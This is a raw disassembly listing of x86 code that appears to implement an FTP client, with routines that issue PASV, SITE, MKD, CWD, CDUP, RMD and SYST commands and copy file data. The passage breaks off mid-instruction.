test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474C0 ; jumptable 0042E641 case 1 mov dl, byte_4474C4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474B8 ; jumptable 0042E641 case 2 mov cl, byte_4474BC mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474B0 ; jumptable 0042E641 case 3 mov al, byte_4474B4 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474A8 ; jumptable 0042E641 case 4 mov dl, byte_4474AC mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx call near ptr 77C47660h nop add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 14684D75h, 90004474h, 808419E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44753468h, 83E8E800h, 83907780h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 44740468h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 4680A75h, 0E9004474h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 447204h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752C68h dd 5610EB00h, 9766E857h, 0C0850000h, 2468217Dh, 90004475h dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44750868h, 0EEE85200h, 9077810Dh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473FC68h dd 8268E800h, 83907780h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h dd 75144689h, 73FC682Ch, 0E8900044h, 77808226h, 5704C483h dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447594BEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 82E890h, 108B777Fh, 0BC685752h, 90004475h dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx ; free add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h dd 7FCEBAE8h, 0C4839077h, 5FC03304h, 9090C35Eh, 90909090h dd 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447680 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476C0 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call near ptr 77C47A90h nop add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h call near ptr 77C2C407h nop add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov esi, dword_511AA0 loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42F871 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call 